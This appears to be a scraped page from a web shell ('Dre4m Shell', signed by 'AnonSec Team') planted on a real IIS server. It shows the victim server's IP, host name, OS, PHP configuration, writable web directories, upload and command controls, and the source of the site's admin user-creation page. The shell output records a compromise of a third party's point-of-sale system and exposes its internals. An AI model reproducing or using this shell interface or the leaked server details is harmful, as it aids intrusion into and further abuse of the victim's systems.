Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.225.195.153
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/airzones/mpos.airzone.sg/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/airzones/mpos.airzone.sg/wwwroot/UserCreation.aspx
<%@ Page Language="C#" AutoEventWireup="true" MasterPageFile="~/APOS.Master" CodeBehind="UserCreation.aspx.cs"
    Inherits="Megazip.UserCreation" %>

<asp:Content ContentPlaceHolderID="Content_Admin" ID="body" runat="server">
    <ul class="breadcrumb push-down-0">
        <li><a href="#">Super Admin</a></li>
        <li class="active">User Creation</li>
    </ul>

    <script language="javascript" type="text/javascript">

        function ClientTextBox() {
            var spclChars = "'!@#$%^*()";
            var Employee_name = document.getElementById("ctl00_Content_Admin_txtEmployee_name").value;
            for (var i = 0; i < Employee_name.length; i++) {
                if (spclChars.indexOf(Employee_name.charAt(i)) != -1) {
                    alert(" Please enter employee name special characters are not allowed.");
                    return false;
                }
            }
            var username = document.getElementById("ctl00_Content_Admin_txtusername").value;
            for (var i = 0; i < username.length; i++) {
                if (spclChars.indexOf(username.charAt(i)) != -1) {
                    alert(" Please enter user name special characters are not allowed.");
                    return false;
                }
            }
            var Password = document.getElementById("ctl00_Content_Admin_txtPassword").value;
            for (var i = 0; i < Password.length; i++) {
                if (spclChars.indexOf(Password.charAt(i)) != -1) {
                    alert(" Please enter password special characters are not allowed.");
                    return false;
                }
            }
            
            var CounterId = document.getElementById("ctl00_Content_Admin_pnlCheckBoxList").value;
            var fromtime = document.getElementById("ctl00_Content_Admin_txtfromtime").value;
            var endtime = document.getElementById("ctl00_Content_Admin_txtendtime").value;



            if (Employee_name == null || Employee_name == "") {
                alert("Enter The Employee Name");
                return false;

            }

            else if (username == null || username == "") {
                alert("Enter The User Name");
                return false;
            }
            else if (Password == null || Password == "") {
                alert("Enter The Password");
                return false;
            }
            else if (CounterId == 0) {
                alert("Select The Counter Id");
                return false;
            }
            else if (fromtime == null || fromtime == "") {
                alert("Enter The Start Date");
                return false;
            }
            else if (endtime == null || endtime == "") {
                alert("Enter The End Date");
                return false;
            }

        }
    </script>

    <div class="page-content-wrap">
        <form id="Form1" runat="server">
        <div class="row">
            <div class="col-md-12">
                <div class="panel panel-success panel-hidden-controls">
                    <div class="panel-heading">
                        <h3 class="panel-title">
                            User Creation</h3>
                        <ul class="panel-controls">
                            <li><a href="#" class="panel-fullscreen"><span class="fa fa-expand"></span></a></li>
                            <li class="dropdown"><a href="#" class="dropdown-toggle" data-toggle="dropdown"><span
                                class="fa fa-cog"></span></a>
                                <ul class="dropdown-menu">
                                    <li><a href="#" class="panel-collapse"><span class="fa fa-angle-down"></span>Collapse</a></li>
                                    <li><a href="#" class="panel-refresh"><span class="fa fa-refresh"></span>Refresh</a></li>
                                </ul>
                            </li>
                            <li><a href="#" class="panel-remove"><span class="fa fa-times"></span></a></li>
                        </ul>
                        <div class="pull-right">
                            <asp:Button ID="btnback" Text="Back" runat="server" class="btn btn-info" OnClick="btnback_Click" />
                        </div>
                    </div>
                    <div class="panel-body">
                        <div class="row">
                            <div class="col-md-6">
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblUser_ID" runat="server" class="col-md-4 col-xs-12 control-label">User ID</asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtUser_ID" Enabled="false" runat="server" Text="Auto" class="form-control"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                </br>
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblusername" runat="server" class="col-md-4 col-xs-12 control-label">User Name<span style="color:Red;"><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtusername" runat="server" class="form-control" TabIndex="2"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="Label1" runat="server" class="col-md-4 col-xs-12 control-label">Counter Id<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div id="divCheckBoxList" runat="server" style="height: 85px; width: 238px; border: solid 1px #D7DADF;">
                                                <asp:panel id="pnlCheckBoxList" runat="server" style="font-family: Arial; font-weight: normal;
                                                    font-size: small;" xmlns:asp="#unknown">
                                                    <div id="divScroll" style="height: 85px; width: auto; overflow-y: scroll; overflow-x: hidden;">
                                                        <asp:checkboxlist id="chkLBoxKList" runat="server">
                                                        </asp:checkboxlist>
                                                    </div>
                                                </asp:panel>
                                            </div>
                                            <%--<asp:DropDownList ID="ddlCounterId" AutoPostBack="false" CssClass="form-control selected"
                                                TabIndex="4" runat="server" 
                                                onselectedindexchanged="ddlCounterId_SelectedIndexChanged">
                                            </asp:DropDownList>--%>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblfromtime" runat="server" class="col-md-4 col-xs-12 control-label">Shift Start Time<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <%--<asp:TextBox ID="txtfromtime" Enabled="True" runat="server" class="form-control datepicker"
                                                TabIndex="4"></asp:TextBox>--%>
                                            <asp:TextBox ID="txtfromtime" runat="server" class=" form-control timepicker" TabIndex="6"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-6">
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblEmployee_name" runat="server" class="col-md-4 col-xs-12 control-label">Employee Name<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtEmployee_name" Enabled="True" runat="server" class="form-control"
                                                TabIndex="1"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                </br>
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblPassword" runat="server" class="col-md-4 col-xs-12 control-label">Password<span style="color:Red;"><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:TextBox ID="txtPassword" Enabled="True" runat="server" class="form-control"
                                                TabIndex="3"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="Label2" runat="server" class="col-md-4 col-xs-12 control-label">Group Name<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <asp:DropDownList ID="ddlgroupname" CssClass="form-control selected" TabIndex="5"
                                                runat="server" OnSelectedIndexChanged="ddlgroupname_SelectedIndexChanged">
                                            </asp:DropDownList>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lbllocationstatus" runat="server" class="col-md-4 col-xs-12 control-label">Status</asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <div class="input-group">
                                                <asp:RadioButtonList ID="rbtnlocationStatus" RepeatDirection="Horizontal" runat="server">
                                                    <asp:ListItem Selected="True" Value="Active">Active &#160; &#160; </asp:ListItem>
                                                    <asp:ListItem Value="Deactive">Deactive</asp:ListItem>
                                                </asp:RadioButtonList>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <br />
                                <div class="row">
                                    <div class="form-group">
                                        <asp:Label ID="lblEndtime" runat="server" class="col-md-4 col-xs-12 control-label">Shift End Time<span style="color:Red";><label>&nbsp;*</label></span></asp:Label>
                                        <div class="col-md-6 col-xs-12">
                                            <%--<asp:TextBox ID="txtendtime" Enabled="True" runat="server" class="form-control datepicker"
                                                TabIndex="5"></asp:TextBox>--%>
                                            <asp:TextBox ID="txtendtime" runat="server" class=" form-control timepicker" TabIndex="7"></asp:TextBox>
                                        </div>
                                    </div>
                                </div>
                                <br />
                            </div>
                            <div class="row">
                                <div class="form-group">
                                    <asp:Label ID="Label5" runat="server" class="col-md-4 col-xs-12 control-label"></asp:Label>
                                    <div class="col-md-12 col-xs-12">
                                        <center>
                                            <asp:Button ID="btn_LocationMaster" Text="Submit" runat="server" class="btn btn-success"
                                                OnClick="btn_LocationMaster_Click" OnClientClick="javascript:return ClientTextBox();" />
                                            <asp:Button ID="btnClear" runat="server" Text="Clear" class="btn btn-danger" OnClick="btnClear_Click" />
                                        </center>
                                    </div>
                                </div>
                            </div>
                            <br />
                        </div>
                    </div>
                </div>
            </div>
        </div>
        </form>
    </div>
</asp:Content>

Anon7 - 2022
AnonSec Team